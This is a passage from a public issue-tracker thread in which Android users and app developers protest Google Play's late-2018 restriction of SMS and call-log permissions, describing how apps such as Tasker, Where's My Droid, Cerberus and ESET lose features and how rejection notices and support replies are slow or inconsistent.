Oh my God! I can’t believe this is happening. Apps like Tasker and ACR are literally the only reason I recently switched from IOS. I am going to regret that decision so bad if this goes through.

sh...@gmail.com <sh...@gmail.com> #501Nov 25, 2018 03:48PM

What the hell, what's the point of not allowing tasker something it needs for proper functionality!?
If you are worried about user's safety just make it harder for malicious apps to get these permission! Don't ruin one of the better app's ablity
to properly function!

st...@gmail.com <st...@gmail.com> #502Nov 27, 2018 10:33AM

I use automation apps to send text messages, this will impact that. For example, there are certain times my team at work must be notified and I have automation set up for this.

bu...@gmail.com <bu...@gmail.com> #503Nov 27, 2018 10:16PM

GOOGLE STOP!!! Please get off the already bit into fruit train to nowhere. As an internet native you held my hand as the boundaries of boxes were broken. GOOGLE by its name sake stands for limitless possibilities. Instead of limiting functions to applications already functioning in life or death matters. I request as many others do, please be more critical of specific applications. Not taking permissions away from what actually works.

se...@gmail.com <se...@gmail.com> #504Nov 28, 2018 03:04AM

Google! You are playing with FIRE!
Do you realize you are taking away possibly the two main reasons people like us didn't buy an IPhone? And, as we look at the whole picture, these are not the first steps, nor would be the last...you want to take things away, be ready for us to move away!
I see the PlayStore losing relevance, and our moving to another store. Maybe Samsung's, maybe FDroid or others. Who cares where we take the apps that we love from? After all, what are we getting in return for being loyal? Nothing. Banned apps, for no reason! What is the logic for banning an app that clearly stated that it wants to intercept our SMS or other things and we AGREED with such? The only reason would be political...to make one Google app be the ONLY app that does it. Sort of the same way Google assistant is the ONLY tool that is allowed to automate WhatsApp messages.

Do it Google, we dare you! Remember, only if the WifiAnalyzer and Tasker users migrate to another store, you would have lost millions of users...not any kind of users, but the smarter ones, who also would become angry, anti-Google advocates! Do it Google, please!

ri...@gmail.com <ri...@gmail.com> #505Nov 28, 2018 11:04PM

I've wrote two apps that absolutely must have access to SMS messaging ... Turn Me On and Backseat Buddy Driving Aid. The first lets you setup schedules for work, home, overnight etc and the app can automatically reply to incoming messages and can even refer to the contact by name ("Hey Tom, I'm at work right not but I'll get back to you later") and the other replies to your messages when it knows you are driving. Neither app wants to be or needs to be the default messaging app. Take away that ability and I'd might as well just remove the apps from the store and my phone (I use TMO all the time). I hate Apple and I hate developing for Apple, and have loved developing for Android, but I'm starting to think it's not worth the bloody effort now. I might just go back to a Nokia flip-phone ...

Richard

so...@gmail.com <so...@gmail.com> #506Nov 29, 2018 05:03AM

I have an emergency app which sends SMSes of current location to saved contacts. It has SEND_SMS permissions and uses Smsmanager to send SMSes automatically. ICRISNA - Emergency Help (

https://play.google.com/store/apps/details?id=com.eusonicsynergies.krishna) is an emergency app and sending SMSes is its core function.

I've filled out the permission declaration form, yet to receive response. The alternative is SMS intent, but it opens up the messaging app, and the user will have to send the message one by one to the contacts, if user has saved many. For emergency, I have made it a one-button-does-it-all sort of convenience. Now, what do I do?

Sriram

su...@gmail.com <su...@gmail.com> #507Nov 29, 2018 09:25AM

I have the application

https://play.google.com/store/apps/details?id=com.semysms.semysms&hl=en for SMS sending and SMS notifications, the application is not able to do anything other than that. But I received a refusal, I do not understand why?

ku...@gmail.com <ku...@gmail.com> #508Nov 29, 2018 09:29AM

Currently there wasn't any known case of an app that received an approval, that's very alarming :(

no...@gmail.com <no...@gmail.com> #509Nov 29, 2018 03:54PM

Hi,

Our application Callistics

https://play.google.com/store/apps/details?id=cz.mobilesoft.callistics was refuse from using call-log and SMS permission.

The main feature of the app is to show statistics about calls and SMS and without this permissions, we wasted a couple of years of development and the only possibility is to remove the app from Google Play.

Our app will get 1 million downloads very soon and more than 10 000 users who paid for in-apps.

Screenshots from the app:

https://drive.google.com/drive/folders/1skKGzc-8V6TVQyO0rnJrsHFMrcuRkcH-?usp=sharing

It is very sad that after so much time and money spend on development we finally have to just throw it away. My motivation to create some other app and sell it on Google Play is zero at the moment.

Problem is that nobody is communicating. For example, It is no problem to remove internet access from the application (we use it only from bug tracking) or made some necessary changes to be able to get permissions but problem is that there is no interest to help us.

Google please let somebody check the apps what are asking for permissions and communicate. Now it seems that it is made just by some robot.

Thank you!
Miroslav

gb...@aacnet.eu <gb...@aacnet.eu> #510Nov 29, 2018 07:25PM

Is this Google Slay only? Ie can Tasker be side loaded without all this nonsense. Do we need Google Play anymore. Can Slay be left to inexperienced users and all other apps using sideloading?

Im not going to allow our users to have to edit an Emergency sms message, I cant do that. We are a professional PTT system and must put our users safety first. We too have a rejection. We have medics and police officers on our system and other vulnerable people.

Come on Google.. this is unsafe.
Graeme
Broadnet.systems

lb...@gmail.com <lb...@gmail.com> #511Nov 29, 2018 08:21PM

Guys I have some good news and bad news.
Good news is that "Task automation" apps are listed in the white list:

https://support.google.com/googleplay/android-developer/answer/9047303?hl=en

The bad news, is that there is still a list. I don't get how they can categorize apps into "Task automation", because everything can be called "task automation"...
And what if one of the features of the app is automated, and it has other features?
I don't like this censorship at all.

deleted

Restricted

0 B

ng...@gmail.com <ng...@gmail.com> #512Dec 3, 2018 01:14PM

I got nightmare every night from get rejecting from Google email notification. I can not believe my app which I spent whole of the time will be throw away next month. My life is breaking.

id...@gmail.com <id...@gmail.com> #513Dec 6, 2018 10:42AM

This is sad and will crate more problems that it's intended to fix. How could Google not see that?! Shame...

ji...@gmail.com <ji...@gmail.com> #514Dec 7, 2018 07:13AM

Because of sudden change of policy, We will go bankrupt.
Google said Tasker is a good app, but I want to know the criteria for determining good and bad apps.

Our App:
Only the SMS sended from the credit card company's phone number are accessed.
All SMS are processed with 100% user agreement.
We comply with all policies and android policy and government policy.

hk...@flashlight.de <hk...@flashlight.de> #515Dec 8, 2018 09:43AM

Communcation from Google is almost zero. They refused and basically complained about the use of PROCESS_OUTGOING_CALLS.
We released a new version which removed the permission and some features. We tried to get approval for the new version, since we followed their
guidance - no answer, nothing. I am very dissapointed.

The app clearly falls in the category "Task automation" - So even the removal of PROCESS_OUTGOING_CALLS should not have been necessary.
But it seems like Google has the power and simply decided with despotism.

od...@gmail.com <od...@gmail.com> #516Dec 8, 2018 10:52AM

Google also simply ignores email to googleplay-developer-support-permissions@google.com. Absolutely no response (even from robot)!

tu...@gmail.com <tu...@gmail.com> #517Dec 11, 2018 09:50PM

I've also resubmitted about 10 days ago and have received no response. I suspect this is an attempt to slow down apps to the point where they can kick them out of the store.

vi...@gmail.com <vi...@gmail.com> #518Dec 11, 2018 10:54PM

I haven't received a response from the support email either. Has anyone?

wo...@gmail.com <wo...@gmail.com> #519Dec 12, 2018 09:55AM

We have a partner who has received a negative response. For our own app Clever Dialer we are waiting for a response for quite a while now.

rs...@gmail.com <rs...@gmail.com> #520Dec 13, 2018 02:18PM

Why are you (Google) forcing him to shut down these features, after all i have waited for long time for someone that really provide good security to premium smartphone, and this (Cerberus) is very handy in all the situation, so please don't mess it up, if you're so concerned about these thing then why don't you come with your own ideas or make your own anti theft app with all these features, then you don't have to act like boss because it Will be your own app, F.F. shake

ib...@gmail.com <ib...@gmail.com> #521Dec 18, 2018 04:35AM

Fixed

mi...@gmail.com <mi...@gmail.com> #522Dec 18, 2018 02:48PM

So..in my app, I had a feature that was requested by my community.
The app reads blood glucose levels from a CGM (Continuous Glucose Monitor) and it it's above/below a certain threshold, will warn others (that have my app) that there is an issue. A couple of users also wanted an automated text message or phone call to be made as a safety net.
The phone '#'s they listed !
Everything about the SMS/Phone call was under their control.. my app would just invoke the action based on parameters they controlled.
I sent an exception request. and pretty much the response was "The reason you're being rejected is below: we're rejecting it because we're rejecting it" (gee... that clears things up nicely)
Basically, you're forcing me to have 2 versions.. one on Google Play and another that users can side -load.

ku...@gmail.com <ku...@gmail.com> #523Dec 18, 2018 03:05PM

It seems they are going ahead with their plan to screw up all the things.

deleted

Restricted

0 B

fi...@gmail.com <fi...@gmail.com> #524Dec 20, 2018 10:43PM

... and just like that Play Store usage will drop. Already downloaded Eset Mobile Security if their website. Support told me today the will continue to suport the two channels, restricted app in Play Store and normal one outside of it. Really stupid move Google. Penalising knowledgeable users for the mistakes of irresponsible ones.

of...@gmail.com <of...@gmail.com> #525Dec 21, 2018 01:26AM

Another great decision making process from the creators of Google+ ...

sa...@gmail.com <sa...@gmail.com> #526Dec 21, 2018 06:46AM

We have submitted the exception form for some of our apps but after 4 weeks have not received any reply yet. We're getting a bit worried by the approaching deadline of the 7th of January.
Anyone else hasn't received any reply yet on the submitted exceptions form?

wo...@gmail.com <wo...@gmail.com> #527Dec 21, 2018 12:13PM

I did not receive anything yet. We entered our form about 3 weeks ago.

aa...@gmail.com <aa...@gmail.com> #528Dec 21, 2018 12:28PM

Unfortunately this blocks my Callblocker App which I use to protect myself from criminals :o(

ma...@gmail.com <ma...@gmail.com> #529Dec 21, 2018 12:38PM

Another heavy user of Tasker - I use it to update my wife using SMS based on locations as well as a fully customised DND funtion that my handset can't do.

Please do not disable this feature.

an...@gmail.com <an...@gmail.com> #530Dec 21, 2018 12:49PM

Let us sum up the small results of the introduction of the new Google Play policy at the reception of the ESET Antivirus application -

https://play.google.com/store/apps/details?id=com.eset.ems2.gp (I did not develop this application,
it's just an example). Judging by the new reviews, we can draw the following conclusions:
1. The application gets 1 star due to the new Google Play policy (users do not care that the developer is not guilty in this case)
2. Users lost functions really useful to them
3. Many do not see the point of using an application that complies with the new Google Play policy
4. Now the developer supports 2 versions of the application - First for Google Play with restrictions and The second without restrictions (can be downloaded from the official site)

I am for security and privacy. But to take and prohibit the use of permissions CALL and SMS is too rude and causes a huge negative reaction from both developers and users.
Maybe there is still time to review your decision and cancel the current Google Play policy? Maybe it makes sense to implement some kind of notification so that the user always knows which permissions the application is requesting for?
There is little hope for any changes in the Google Play policy. Therefore, a huge number of developers will now have to support 2 versions of the application (these are additional efforts for both developers and users).

Below is a list of recent reviews of users of the ESET Antivirus application:

A Google user
December 21, 2018
Since the last update, some features had been removed due to new Google policy. This makes the app crippled. Moreover, even though I have a license, I can't activate the app. Always says free version. and this is second time is happening. I can't activate the app. now, I have to send an email to sup...

Austin Smith
December 21, 2018
I was satisfied with how the application performed, there were no issues. Unfortunately, Google has updated their dev policy and has disabled the use of text based commands, which allowed a user to locate, and control the device remotely. The text based command feature has saved me multiple times, and I am a firm believer in it. Simply disappointed with the current changes. Once full functionality is enabled once again, this app is easily 5 stars, and I have reccomended ESET to many friends.

THE TEACHING MATHEMATICS
December 21, 2018
It's very sad to see that SMS & CALL FILTER facility has been discontinued..

marek petak
December 21, 2018
Love Eset security, but one of the most useful features has been removed (call blocking), extremely disappointing !

m reid
December 21, 2018
DO NOT UPDATE ! ! DO NOT UPDATE ! ! REMOVES SMS & CALL FILTER ! !

Krisdian Agung
December 21, 2018
Awesome, it detects adware so easily. But, please just enable SMS & Call Filter again :(

AJ L
December 21, 2018
Removing the SMS and call filter because of Google restrictions, what the hell? so basically, Google are now advocating nuisance calls and texts and have denied me my ability to block them? I've got news for Google and ESET - I'll be ditching smartphones after my current contract expires, so I will ...

Freakroid XD
December 20, 2018
WHAT THE ... why Google play new policy got the sms commands disabled ;-; why Play, why... Please add it back. Oh and plox fix the new notification icon (it's always visible in the notificationbar area even tho it's not operating any tasks)

Sidney Burger
December 20, 2018
Please bring back call block and SMS block for ESET. Google install crappy apps and unwanted apps on phones that cannot be fully uninstalled or fully removed, then a handy feature as ESET's call block gets dumped by Google. ESET, sorry for the four stars it's not your fault for this rating, it's Goo...

Unfortunately, such a fate awaits a huge number of applications if the current Google Play policy will not be revised.

ar...@gmail.com <ar...@gmail.com> #531Dec 21, 2018 12:51PM

I use it to!

ni...@gmail.com <ni...@gmail.com> #532Dec 21, 2018 02:09PM

I have no words. I have now two emails from the review team.

The first one, approval, 3 days ago:
We’ve approved your use of the following permissions in your application, Call Notes Pro - check out who is calling, com.nikanorov.callnotespro:
• Transactional backup and restore for users and archive for enterprise (time-limited/non-continuous, Caller ID, spam detection, and blocking)
• READ_CALL_LOG

And second, Today, THREE days later:
We reviewed your request and found that your app, Call Notes Pro - check out who is calling, com.nikanorov.callnotespro, does not qualify for use of the requested permissions for the following reasons:
• The declared feature {Caller ID, spam detection and spam blocking [READ_CALL_LOG, READ_SMS, RECEIVE_MMS, RECEIVE_SMS, SEND_SMS]} is allowed; however we were unable to verify this feature during app review.

The review process is complete mess. Looks like anyway they can remove your app any time.

Google, such review process is a shame! Call Notes Pro app is inline with all your policies and CallerID is on your exceptions list.

aa...@gmail.com <aa...@gmail.com> #533Dec 21, 2018 10:40PM

It seems the solution people will be forced to use is to turn off updates and then download an older version of their app that worked from a third party, because this feature is essential to many apps, including apps that increase security like those that block hackers and scammers.

ne...@gmail.com <ne...@gmail.com> #534Dec 24, 2018 01:27AM

Removal of this feature would be disastrous.

fr...@gmail.com <fr...@gmail.com> #535Dec 26, 2018 07:50PM

I am writing to request that you google reverse the decision. I use wheresmydroid to find my phone and having it respond to text messages is very handy when the data and wifi is turned off.

br...@alienmantech.com <br...@alienmantech.com> #536Dec 27, 2018 10:35PM

I understand that SMS and Call Log are sensitive permissions, but that should be left up to the user. The current system in place is already great. An app must request SMS permission and the user must read and accept. They can also take it away at anytime. Making this decision for the user is harmful to the whole community, users and developers alike.

I also don't understand why some apps like Device Locators are specifically denied this permission under this new rule. Our app Where's My Droid uses SMS to activate feature to help find a lost phone and that is how majority of our users use it. Yes we have an online website, but there are so many more uses via texting. In part because SMS is a more reliable communication method that a data connection. Especially in rural areas and many other countries. Yes the US has great 4G, but that's not the case in the rest of the world.

fe...@gmail.com <fe...@gmail.com> #537Dec 28, 2018 06:50AM

Okay listen.
So you already have a system in place.
It's called PERMISSIONS.
I am an adult and paid for this $1000 brick with my own money and I am sick to death of people trying to tell me how to use the darn thing. I don't see you, Google, offering to come find my phone for me any of the seventyeleven times a day the damn baby wanders off with it bc I had to pee and dared to leave the poor phone unattended. Who's coming to my house to monitor it? You? No? Then stop.

Stop policing my freedom to determine what I want to do with my phone!!! You're not Apple. Stop trying to act like Apple. The freedoms that Apple likes to control are the REASON so many of us stick with Android. And you seem determined to duck that up.

Just. No.

it...@gmail.com <it...@gmail.com> #538Dec 28, 2018 10:40PM

Apps like Read Text Messages 2me are also impacted by this change. The ability to have text messages automatically read aloud, hands-free, is important to many users, especially with the introduction of texting while driving laws in some U.S states. The safety aspects of Apps like this are very important. It's crazy to prevent functionality like this being available.

mi...@michaelwhit.com <mi...@michaelwhit.com> #539Dec 29, 2018 05:20PM

I use many apps that would be rendered useless by this permission change, several of which I paid for. Completely disabling the ability is just a lazy method of increasing security. Make it simpler for users to identify which permissions an app has and allow line-item veto at install or at any other time, if desired. You can already do this anyway, but perhaps more details can be given on the app permissions screen to explain what each permission is for exactly. E.g. Apps have "storage" permission: explain what that means, "can read/write/edit/delete any files anywhere on your device" or something. Break it out to "read storage", "write storage", "edit", etc.

mc...@gmail.com <mc...@gmail.com> #540Dec 29, 2018 10:51PM

I think, at best, that your execution of your policy is deeply flawed. Where's My Droid has saved me from losing my $700 device several times. I do not understand why you are not giving me the opportunity to choose how I want to operate my device. Your policy is arbitrary. I can pick some apps to allow access, but one that is of great importance to me is excluded. Please reconsider, on a broad basis, giving your clients the opportunity to pick the option that best serves their interest. One of the fundamental reasons that I chose Android over Apple is that I can decide for myself what I want, not what I'm told I can have. This forum how many users agree with me.

ch...@holcim.com <ch...@holcim.com> #541Dec 30, 2018 01:17AM

I use Where's My Droid to keep track of my kids on Public transport, it uses SMS phrases to trigger the app to tell me where they are - I want to be able to keep this functionality.

ig...@gmail.com <ig...@gmail.com> #542Dec 30, 2018 11:55PM

I use an app called Where's My Droid that allows me to send a text to my phone, from ANY friend, family or stranger I'm around and can locate my phone if it's lost in the wild or make it ring in my home. This has saved me and my family members from losing our phones so many times I can't count. I urge you to rethink your decision to remove this functionality from Apps!!!

[Deleted User] <[Deleted User]> #543Dec 31, 2018 01:23AM

I use Android Lost. It has many requirements but has been a life saver for my lines and our work phones. It requires SMS and phone access.

br...@gmail.com <br...@gmail.com> #544Dec 31, 2018 05:47AM

I can't believe Google is ruining so many entrepreneurial applications that people use while running Android and enjoy the features. this is a similar move that Microsoft is making where you treat your end-users as if they are so dumb they can't make a decision for themselve. I can't express my disbelief that this was approved by Google. Way to remove useful features from my device.. ehem..Miracast. I'm growing to hate Google.

br...@gmail.com <br...@gmail.com> #545Dec 31, 2018 05:52AM

I use an app that can tell I am driving to automatically respond to text messages that I cannot text back because I am driving. I will no longer be able to use this app and Google is making my driving/texting safety feature impossible to use. A quick text response while driving will probably be ok though right? Please consider the bad PR this could cause.

wa...@gmail.com <wa...@gmail.com> #546Dec 31, 2018 02:59PM

Please make an exception for Where's my Droid! I give the SMS feature to my family and close friends if they ever need to know where I am. It saves me from having to text while driving when I'm traveling.

jh...@gmail.com <jh...@gmail.com> #547Jan 1, 2019 01:16AM

I have had to use Where's My Droid twice to wipe my phone when it was stolen. Why is Google now unilaterally disallowing apps from accessing my text messages? Yes, Google, the next time my phone gets stolen, and I have a financial loss, I will sue you for it!

al...@gmail.com <al...@gmail.com> #548Jan 1, 2019 01:25AM

The sole reason I love Android devices is the ability to customize my device to be exactly as I wish unlike with Apple products. Where's my Droid is one of my favorite apps that I use regularly with my kids and now google is taking the most important feature away by removing SMS capability. Big mistake!

jh...@gmail.com <jh...@gmail.com> #549Jan 1, 2019 01:26AM

In addition, I, the end user, should have control of what apps can access features on my phone, not some giant corporation who thinks they know better. Google is NOT my parent or guardian. Remember, Google, whst happened to Ma Bell in the 1980s when the American public finally decided that she'd gotten too big for her britches.

rj...@gmail.com <rj...@gmail.com> #550Jan 1, 2019 01:38AM

One if the reasons I have reliably purchased Android phones instead of iPhones. I love the ability to decide what apps I want and what I'm willing to allow those apps to do with my phone.
This is why I accept permissions when I install apps. This is a mistake Google - don't take my choices away from me! I want to decide what I will allow an app to do and what I wont allow. The changes Google is making to text messaging is going to debilitated one of my favorite apps - Where's My Droid. I use this app extensively in a number of ways. Aside from the ability to find my phone with a simple text message, I allow my family members to use the GPS feature to find me and to contact me in case of emergency. Although the commander option presents some possibility but being able to use this app without a computer is absolutely necessary. Pits also going to kill Tasker which is imperative to me. LEASE DON'T DO THIS!!

al...@gmail.com <al...@gmail.com> #551Jan 1, 2019 04:04AM

Like many others, I use "Where's My Droid" regularly. This change would cripple the functionality of this app. For users of Where's My Droid, and other programs, this misguided change will make many thousands of devices LESS secure.

ad...@TechSolutionslv.com <ad...@TechSolutionslv.com> #552Jan 1, 2019 05:21AM

I too am with so many of the other commenters on this thread.
DO NOT TAKE THIS FEATURE AWAY.
I like so many others know what apps get what permissions, and I read those permissions BEFORE I give them. I KNOW what apps I am installing on my phone, and I know what that app does on my phone.
I, too, like so many others use Where's My Droid to find my phone on a 2 or 3 times a month basis. PLEASE PLEASE PLEASE do not take this feature away from applications.
I want my droid the way I want is! That is the reason I am on Android and not an Iphone or Microsoft POS.
Here is to praying the dev team will listen!
John Wulf
Lead field engineer for Technology Solutions Las Vegas.

ka...@gmail.com <ka...@gmail.com> #553Jan 1, 2019 06:40AM

You are RUINING the usage of the Where's My Droid App! Preventing apps from using text messages if a terrible idea! My daughter is all the time losing her phone and never with me anymore! But she's ALWAYS with people (friends) that have phones.. She can easily use there phone to find get phone! That's ALWAYS been the reason why we use this app! Taking this feature away makes it IMPOSSIBLE for her to find get phone again! No she can't use a computer because she didn't have one! She won't be able to just call me to find get phone because she's out of state... It just won't work! So trying to given and control the way of life and people's choices. Leave the text features alone!

sa...@goudswaard.nl <sa...@goudswaard.nl> #554Jan 1, 2019 09:33AM

Dear Google Play team,

The workaround for Cerberus is to have users uninstall the app and reinstall it from their own website. So removing the permissions will mean users are requested to install apps from outside the Play Store. What is worse; removing permissions from apps, resulting in crippled functionality, or losing control of these apps altogether, as well as lowering customer satisfaction?

ko...@gmail.com <ko...@gmail.com> #555Jan 1, 2019 10:56AM

Dear Google play team,

While I understand your concern, you should also take into account applications like Cerberus because your policy makes them unusable!!
You should really reconsider this!!

id...@gmail.com <id...@gmail.com> #556Jan 1, 2019 11:04AM

Why don't you instead make a separate section in the PlayStore called "apps with sensitive permissions section". Then you can let the users choose. Make it colorful for them. Make the whole section colored and use this view to get people's attention. But don't cut off a universe of functionalities and user benefits.

mo...@gmail.com <mo...@gmail.com> #557Jan 1, 2019 11:05AM

App developers will just take their apps to other download sites.
FDroid will get huge because of this short sighted, misguided decision.
You'll lose all the control you have now because you wanted too much.
Don't do this to yourselves.

co...@gmail.com <co...@gmail.com> #558Jan 1, 2019 12:12PM

I will make my request short. With your new policy, you are severely limiting my app's functionality, specifically "Where's my Droid". I need this app to be able to use the text feature specifically, but also the hidden icon feature as well. I understand some of your security reasons, but I should be give the ability to allow certain apps to utilize these functions.

I paid for this app to use ALL of its functionality, now you are changing the rules and it isn't worth the price paid.

mi...@gmail.com <mi...@gmail.com> #559Jan 1, 2019 03:54PM

I want applications that can use this functionality. This restriction should dissapear

gr...@gmail.com <gr...@gmail.com> #560Jan 1, 2019 05:22PM

I REALLY need the texting feature on the Where's My Droid app! If I lose my phone I dont always have access to a laptop to login and find my phone. Asking a friend to text my phone to make it ring is invaluable. Please give an exception to Where's My Droid app!!

jo...@gmail.com <jo...@gmail.com> #561Jan 1, 2019 05:26PM

Google, please reconsider making app developers remove this functionality. It destroys and disables quality apps like Cerberus and doesn't allow them to function the way they were intended. Also the requirement for a notification icon to be present in apps like Cerberus and LG health is annoying as heck.

jo...@gmail.com <jo...@gmail.com> #562Jan 1, 2019 06:53PM

I use mm guardian and where's my droid to keep my kids in a safer environment on the Web. I will just have to swap to ios if you continue your plan to restrict my control of my device.

ja...@gmail.com <ja...@gmail.com> #563Jan 1, 2019 08:24PM

This is just stomping down your biggest Android fans and development. There needs to be more acceptions. Stop trying to take away all the control. Android used to be for people that wanted to make their own choices. Give people the option to allow admin level apps. Give people warnings but don't strip control completely. This will cripple so much. Phone finding apps call blocking logging apps parental control apps. This will be crippling for so many people.

an...@gmail.com <an...@gmail.com> #564Jan 1, 2019 10:15PM

Tasker and Cerberus user.

I don't really care that much but the fact is I'd probably go iphone next time if I can't use Tasker and Cerberus - the way they're ment to be used.

I suggest you think this through.

Sincerely,

A

ch...@gmail.com <ch...@gmail.com> #565Jan 2, 2019 12:12AM

Cerberus is broken by this change, I am unhappy that this policy has changed. If it ain't broke don't fix it. I cannot see how Google are fixing or addressing their targeted issues with this change. The side effects are too large. Reverse the decision and find another way to block bad apps...

ca...@gmail.com <ca...@gmail.com> #566Jan 2, 2019 12:39AM

I use where my droid to find my phone when I have it on vibrate to simply turn my volume up and flash my camera light to locate. I do it all by one text. If you go through with this, my next phone will be an iPhone so I can use find my iPhone app.

[Deleted User] <[Deleted User]> #567Jan 2, 2019 01:55AM

delete

[Deleted User] <[Deleted User]> #568Jan 2, 2019 02:10AM

delete

go...@0xc0dedbad.com <go...@0xc0dedbad.com> #569Jan 2, 2019 05:03AM

Why on earth doesn't Google just force apps to use runtime permission requests for these APIs? Then users can simply decide which apps they're comfortable giving these permissions to. The current policy clearly does not make any sense - there are numerous apps that people rely on for their workflows that can never satisfy the criteria that Google have outlined. This kind of sweeping draconian policy (whilst possibly delivered with good intentions) is almost never the correct response to a perceived problem, and this one in particular is impossible to enforce responsibly or fairly. It is also a significant waste of time and resources for everyone involved, versus the small quantity of engineering time required to fix the problem sensibly - leaving control in the hands of the users.

fr...@gmail.com <fr...@gmail.com> #570Jan 2, 2019 10:22AM

as a matter of fact, this policy change break cerberus that i use in case my phone is stolen. Thus this decision BREAK SECURITY of my phone in the real world.... please allow final user to choose security level by application on its own.

j....@gmail.com <j....@gmail.com> #571Jan 2, 2019 02:51PM

I use Tasker to intercept SMS (Alarm messages for volunteer firefighter) and forward them to my wife so she knows where I might be.

This policy breaks this not at all unique use case and makes my life harder. Owning a "smart" phone should make my life easier, not harder.

Thanks for reconsidering this change.

pi...@gmail.com <pi...@gmail.com> #572Jan 2, 2019 05:47PM

Cerberus cannot function correctly ! Please find another solution.

[Deleted User] <[Deleted User]> #573Jan 2, 2019 07:15PM

Did anyone receive word from Google about being granted an extension to remove unneeded permissions to March 9, 2019? We've contacted Google support and they keep saying this is handled "by an internal team that does not have external communication" and we have to wait for an e-mail.

We have 7 days left until apps may be removed, with no response from Google..

ja...@gmail.com <ja...@gmail.com> #574Jan 2, 2019 07:50PM

I am a Commander/Where's My Droid user and this change severely concerns me. I am a lawyer who uses his phone for work. It is vital for me to be able to recover it easily if I misplace it (like having a friend send an SMS command to ring/vibrate/flash) because the risk of losing/exposing client data is too great to bear. Allow an exception for WMD.

ju...@gmail.com <ju...@gmail.com> #575Jan 2, 2019 08:15PM

I feel that by changing my freedom go use an app through text to control MY phone that I am being limited on use of my device. I use an app to track and control my phone use through text messaging and by changing the permissions of this app I am being limited to the use of my android device the way I want to use it. And i pay for this service. Please make it so i can use an app to continue to control and track my device via text messaging.

ju...@gmail.com <ju...@gmail.com> #576Jan 2, 2019 08:15PM

Please make an exception for "wheres my droid"

ch...@gmail.com <ch...@gmail.com> #577Jan 2, 2019 08:55PM

I use where's my droid and this prevents the app working for me as I have poor data signal in most of the areas around me but GSM signal is fine. The ability to use the text function to cause an effect in where's my droid (ring, text location etc) is essential to the app's use. Please consider Where's My Droid as an exception.

ri...@gmail.com <ri...@gmail.com> #578Jan 2, 2019 10:31PM

Where's my droid is an invaluable app that needs sms permissions to function easily and fully. Please don't cripple this app and so many others (like tasker) when security can be ensured in other less restricting ways. Just put a bit more thought and research into this please. Thank you

dw...@gmail.com <dw...@gmail.com> #579Jan 3, 2019 12:29AM

Please continue to allow Where's my Droid to continue to work through texting!! Texting is the most functional way of using the app and the primary way myself and most other users utilize this app. If we didn't want them to utilize text, we wouldn't download the app. Surely there's other ways for enhancing security than requiring this developer to disable this app's primary functionality!

al...@gmail.com <al...@gmail.com> #580Jan 3, 2019 12:30AM

I am a very frequent user of Where's My Droid, and this update to privacy policy is devastating as it virtually renders the app useless. The ease and efficiency of being able to text my phone in order to find it's location is priceless. I find it absurd that I will no longer be allowed to grant Where's My Droid - who are trusted worldwide - permission to access my texts. Please rethink this Google, and provide an exception to Where's My Droid.

da...@gmail.com <da...@gmail.com> #581Jan 3, 2019 12:41AM

Please, do not remove this functionality.

Thanks

st...@gmail.com <st...@gmail.com> #582Jan 3, 2019 12:53AM

There is a point where security is so limiting that it is a detriment. Give the users a switch to allow it or not. This limits me causing a real problem. I use Where's My Droid often to help locate a silenced phone. I can ask a friend or family member to text me. Without this feature, I would have to contact someone with a computer and give them credentials to trigger the feature. That makes it useless. Google find my phone does not replace this functionality because it also requires me to have an access to find it. You are making a huge mistake. There is a line to walk between security and freedom. You are crossing the line on this one.

mf...@gmail.com <mf...@gmail.com> #583Jan 3, 2019 01:45AM

Adding to the chorus. I use a few automation apps that need SMS permissions. Stripping these permissions is a ham handed way to deal with wayward apps, especially very popular apps.

More scrutiny is good but not for well established apps.

wa...@gmail.com <wa...@gmail.com> #584Jan 3, 2019 02:02AM

I understand that this should be something implemented so that android can be more secure, but there really needs to be a way for some apps that use such access for proper, useful purposes to override this. Tasker and Where's My Droid are very useful for me. The latter because I can't have data on at all times, and its texting feature is irreplaceable to me.
If Android Device Manager had a way to locate my phone without using data or wifi on my phone, then I'd be glad to use it more often. As for Tasker, that's a little harder to work around with its auto replies.

ro...@gmail.com <ro...@gmail.com> #585Jan 3, 2019 02:14AM

I can't believe the ineptitude being shown here by Google. These restrictions are killing Apps that we came to Android to benefit from. Why are you following Apple down this narrowing path? Those of us who use Tasker, ACR and Where's My Droid have been devastated by the decisions that you have made. Where is the security and privacy benefits if we all have to root our devices to continue using these great Apps

mi...@gmail.com <mi...@gmail.com> #586Jan 3, 2019 03:13AM

This new policy is infuriating. This seriously restricts great products like Where's My Droid. I always thought Google was smarter than Apple but they're really starting to prove me wrong. This is disheartening to say the least. Considering the hardware changes to the Pixel to be more like an iPhone and now restrictions like this, starting to wonder whynot just get an iPhone.

ni...@gmail.com <ni...@gmail.com> #587Jan 3, 2019 06:51AM

Google, don't be evil. You're going against the nerds that supported you from the beginning. Stop it.

ry...@gmail.com <ry...@gmail.com> #588Jan 3, 2019 08:53AM

Where's My Driod's texting feature saved me 2 cellphones in the last 5 years. Removing this feature will completely negate one of the last reasons I haven't switched to iPhone yet.

mi...@gmail.com <mi...@gmail.com> #589Jan 3, 2019 12:33PM

Dear Google,
The Where’s My Droid texting feature has proven to very valuable. It has several times helped us recover lost phones. Most importantly we use it as an emergency contact feature with our kids away at school. With us sleeping and our phones silenced the locate phone phrase can be texted to our phones to wake us or get our attention if the one of the kids need us in an emergency. You are taking away a great feature with our Android phones. Please reconsider removing the texting access from the Where’s My Droid app. Thank you.

mi...@gmail.com <mi...@gmail.com> #590Jan 3, 2019 12:52PM

There are Life-Rescuing Tools, or Tools to find lost or stolen Mobiles. I have to use them, because the google internal tools failed most times i needed them because they dont Support needed things like Roaming/SMS and no WIFI is availlable.
Google: Stop harming us! There are important apps wich must have acces to the deepest areas of System.
It is enough to warn users about what an app can do. We don't need a Mama, we have one! I decide to switch to another system if you dont accept that it is my phone, and my decicions what i do with it!

ke...@gmail.com <ke...@gmail.com> #591Jan 3, 2019 02:35PM

Hi Google, your decision impacts me because the following packages

https://play.google.com/store/apps/details?id=com.wakdev.nfctools.pro

https://play.google.com/store/apps/details?id=com.wakdev.nfctasks (and the free version of the first app

https://play.google.com/store/apps/details?id=com.wakdev.wdnfc ) have to remove the permissions SMS and CALL_LOG from their app to conform to your policy while they should be whitelisted as they have a legitimate use by allowing me to automatically write and send SMS right after passing near to my phone a NFC tag.

Please consider changing your politic.

Regards and happy new year

hu...@gmail.com <hu...@gmail.com> #592Jan 3, 2019 07:37PM

Please Google, dont limit this in Android. I love Android because of all the customization I can do. Let me choose what apps have permissions to SMS. Dont lock down Android like iOS with Apple. I use Tasker and Wheres my Droid apps, and they will become useless to me with your proposed changes

